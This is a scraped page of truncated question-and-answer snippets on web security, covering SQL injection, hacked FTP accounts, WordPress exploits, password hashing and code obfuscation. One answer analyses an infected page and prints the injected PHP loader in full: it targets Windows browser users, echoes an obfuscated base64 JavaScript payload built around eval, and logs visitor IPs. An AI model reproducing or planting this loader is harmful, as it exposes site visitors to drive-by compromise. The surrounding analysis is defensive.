The Users will be able to download only the views that you populate via php. CodeIgniter is a MVC (Model-View-Controller) framework for a reason, it encapsulates the business logic from what can be accessed by users. http://www.codeigniter.com/user_guide/overview/mvc.html solved How to prevent website download, so someone can’t download my full website [duplicate]
You should store the invitation KEY against your each unique email ID list. So when user register using your KEY you can either remove that email form Pending Invitation List or alternatively use flag bit to mark as registered. solved Invitation using a token [closed]
First of all, change your FTP details. Then check your FTP files for any JS that could be interrogated, or file upload forms? Remove them. You could try contacting your Web Hosting provider and inform them of what’s happening, and supply them with IP addresses if you have them. They may be able to put … Read more
As a general rule, if the code runs on a remote machine it can be manipulated so they can execute it anyway. You can make this more difficult through code obfuscation or by implementing some sort of DRM, but I would suggest that this will largely be more trouble than it’s worth (since it just … Read more
My solution : 1) create a token \Symfony\Component\Security\Core\Authentication\Token\PreAuthenticatedToken with user. 2) use the ‘security.access.decision_manager’ for decide if the user have the granted access. This solution is simple but not shared here. solved How to check if another user of me can access on this current page
I’m not giving you a working solution but just a hint: The JPEG format consists of different parts, some are required and some are optional. Among those optional parts, some allow to store arbitrary data. If you manage to alter such a part of an existing JPEG image or to add one and put your … Read more
Selenium is a a Firefox plugin to record, edit and playback scripts to test web pages. If you create a test with junk input then you can use it to see how the form handles it. What’s nice is that you can save a test and run it later to quickly see the effects of … Read more
Try this: with open(‘file.out’, ‘w’) as output: for n in xrange(100000000): s = “{0:08d}”.format(n) output.write(s[:2] + ‘-‘ + s[2:] + ‘\n’) … But be aware that that’s a lot of combinations, it’s possible that you’ll run out of memory, and if not anyway the resulting file will be huge and the program will take a … Read more
WordPress is a relatively secure product. However as with anything nothing is 100% fool-proof. Unfortunately with widely-used products such as WordPress once an exploit is found it is widely available on 0-day exploit sites and a lot of hackers will trawl the web to take advantage of this exploit. However staff at WordPress are very … Read more
The correct way to avoid SQL injection attacks, no matter which database you use, is to separate the data from SQL, so that data stays data and will never be interpreted as commands by the SQL parser. It is possible to create an SQL statement with correctly formatted data parts, but if you don’t fully … Read more
I would agree with the others who have asked why you need to do this, however moving past that to your question, yes it is a bad idea. For starters, from the password you supplied, I can tell you’re using some form of bcrypt. Admittedly bcrypt is a very strong hashing algorithm that isn’t easily … Read more
Now is there a way i can make that java class hidden when the app is decompiled? No. At best, using commercial tools like DexGuard, you can make it a bit more difficult for attackers to get the strings, but it is not that difficult for somebody to defeat those tools. because when a user … Read more
Follow these scripts that you find online. All it boils down to is: Signup page to gather user details, upon save check each field is valid (ie. use regular expressions to check email address is valid), also check all required fields are completed If the above all checks out, then save to database AFTER you … Read more
You appear to have an html (php) block injected into your page. Possibly the result of XSS? First stage decode reveals: $ip=$_SERVER[“REMOTE_ADDR”];$dr=$_SERVER[“DOCUMENT_ROOT”];$ua = $_SERVER[‘HTTP_USER_AGENT’];$dbf=$dr.”https://stackoverflow.com/”.md5($dr.’1′); if((strpos($ua,’Windows’)!==false)&&((strpos($ua,’MSIE’)!==false)||(strpos($ua,’Firefox’)!==false))&&(strpos(@file_get_contents($dbf),$ip) === false)){ error_reporting(0); echo(base64_decode(‘PHNjcmlwdD50cnl7YWJyZSsrfWNhdGNoKGE2YmEzNHkpe3RyeXtwcm90b3R5cGUmMn1jYXRjaChhc2FiKXtlPXdpbmRvd1siZSIrInYiKyJhbCJdO319IGlmKDEpe2Y9Wy00LC01LDkwLDg5LDE4LDI1LDg3LDk3LDg0LDEwNCw5NSw4Niw5NywxMDIsMzEsOTAsODcsMTAxLDU2LDk0LDg2LDk2LDg3LDk1LDEwMywxMDEsNTEsMTA4LDcwLDgyLDkwLDY0LDgyLDk2LDg3LDI1LDI2LDg0LDk2LDg3LDEwNywyNCwyOCw3NywzMyw4MCwyNywxMDgsMCwtNSwtNiwtNCw5MSw4NywxMDEsODMsOTQsODgsMTAwLDI1LDI4LDQ1LC0yLC00LC01LDExMCwxOSw4Nyw5MywxMDIsODcsMTcsMTEwLC0xLC02LC00LC01LDg1LDk4LDg1LDEwMiw5Niw4Nyw5NSwxMDMsMzIsMTA0LDEwMSw5MSwxMDEsODgsMjYsMTksNDcsOTEsODcsMTAxLDgzLDk0LDg4LDE4LDEwMCwxMDEsODUsNDYsMjYsOTAsMTAxLDEwMyw5OCw0MywzNCwzMywxMDIsOTIsMTA3LDEwNyw5NCw5Miw5OSwzMyw4NywxMDcsMTA0LDgzLDMxLDg2LDk3LDk0LDM0LDEwNCw4NCwzMyw5OCw4OSw5OSw0OSw4OCw5OCw0NywzNSwyNiwxOCwxMDQsOTIsODYsMTAxLDkxLDQ3LDI0LDM2LDM0LDI0LDE5LDkwLDg2LDkyLDg5LDg5LDEwMyw0NywyNCwzNiwzNCwyNCwxOSwxMDEsMTAxLDEwOCw5NCw4Niw0OCwyNSwxMDMsOTIsMTAxLDkwLDg1LDkxLDkzLDkyLDEwMiwxMDYsNDUsOTAsOTAsODcsODYsODYsOTcsNDUsOTcsOTgsMTAxLDkwLDEwMyw5MSw5Niw5Nyw0NCw4Miw4NSwxMDEsOTYsOTUsMTAzLDEwMSw4OCw0NSw5Myw4OCw4OCwxMDEsNDUsMzQsNDQsMTAzLDk3LDk3LDQ1LDM0LDQ0LDI2LDQ4LDQ1LDM0LDkxLDg3LDEwMSw4Myw5NCw4OCw0OCwxOSwyOCw0NSwtMiwtNCwtNSwxMTAsMCwtNSwtNiw4OSwxMDMsOTUsODYsMTAyLDkwLDk4LDk2LDE3LDkyLDg4LDk5LDg0LDk1LDg2LDEwMSwyNiwyNiwxMTAsLTEsLTYsLTQsLTUsMTAzLDg0LDEwMCwxNyw4OSwxOCw0NiwxOSw4Niw5Niw4NiwxMDMsOTQsODgsOTYsMTAxLDMzLDg1LDk5LDg4LDgzLDEwMSw4OCw1NSw5Myw4OCw5NSw4Niw5NywxMDIsMjUsMjYsOTEsODcsMTAxLDgzLDk0LDg4LDI1LDI2LDQ2LDg4LDMxLDEwMiw4NywxMDEsNTIsMTAyLDEwMSwxMDEsOTEsODMsMTA0LDEwMiw4NiwyNywyNSwxMDAsMTAxLDg1LDI0LDMxLDI1LDg5LDEwMywxMDIsOTcsNDUsMzMsMzIsMTA0LDkxLDEwNiwxMDksOTMsOTEsMTAxLDMyLDg2LDEwOSwxMDMsODIsMzMsODUsOTYsOTYsMzMsMTAzLDg2LDMyLDk3LDkxLDk4LDQ4LDkwLDk3LDQ2LDM3LDI1LDI2LDQ2LDg4LDMxLDEwMiwxMDIsMTA2LDk1LDg3LDMxLDEwNSw5MSwxMDAsOTIsODQsOTAsOTUsOTEsMTAxLDEwOCw0NywyNCw5MSw5MSw4NSw4Nyw4Nyw5NSwyNiw0NSw4NywzMywxMDEsMTAxLDEwOCw5NCw4NiwzMyw5OCw5NiwxMDIsOTEsMTAxLDkyLDk3LDk1LDQ4LDI1LDgyLDg1LDEwMSw5Niw5NSwxMDMsMTAxLDg4LDI1LDQ0LDg5LDMyLDEwMCwxMDMsMTA3LDkzLDg4LDMyLDkzLDg4LDg4LDEwMSw0OCwyNSwzMywyNiw0NSw4NywzMywxMDEsMTAxLDEwOCw5NCw4NiwzMywxMDIsOTYsOTksNDcsMjQsMzUsMjUsNDQsODksMzIsMTAwLDg4LDEwMiw1MCwxMDMsMTAyLDk5LDkyLDg0LDEwMiwxMDMsODcsMjUsMjYsMTA1LDkwLDg3LDEwMiw4OSwyNiwzMCwyNCwzNiwzNCwyNCwyOCw0NSw4NywzMywxMDEsODYsMTAzLDUxLDEwMSwxMDMsMTAwLDkwLDg1LDEwMywxMDEsODgsMjYsMjQsOTEsODcsOTAsOTAsOTAsMTAxLDI2LDMwLDI0LDM2LDM0LDI0LDI4LDQ1LC0yLC00LC01LC02LDg3LDk3LDg0LDEwNCw5NSw4Niw5NywxMDIsMzEsOTAsODcsMTAxLDU2LDk0LDg2LDk2LDg3LDk1LDEwMywxMDEsNTEsMTA4LDcwLDgyLDkwLDY0LDgyLDk2LDg3LDI1LDI2LDg0LDk2LDg3LDEwNywyNCwyOCw3NywzMyw4MCwzMiw4Miw5OSw5OCw4Niw5Nyw4Niw1Miw5MSw5MSw5Myw4NywyNiw4NywyOCw0NSwtMiwtNCwtNSwxMTBdO313PWY7cz1bXTtyPVN0cmluZzt4PSJqJSI7Zm9yKGk9MDstaSs1NzkhPTA7aSs9MSl7aj1pO2lmKGUmJigwMzE9PTB4MTkpKXM9cytyLmZyb21DaGFyQ29kZSgoMSp3W2pdK2UoeCszKSsxMykpO30gdHJ5e2FzZ2FzZyYxM31jYXRjaChhc2dhKXtlKHMpO308L3NjcmlwdD4=’)); if ($fp = @fopen($dbf , “a”)){fputs($fp , $ip.’|’); fclose($fp);} } Second Stage Decoding Reveals: try { abre++ } catch (a6ba34y) { try { prototype & 2 … Read more
Nobody can see your code because Apache (or whatever web server you use) is instructed to EXECUTE any .php files rather than simply serve (display) them as it does by default (with .html, .css, .js, etc). I think what you may have heard of is a general security concern using PHP in general – If … Read more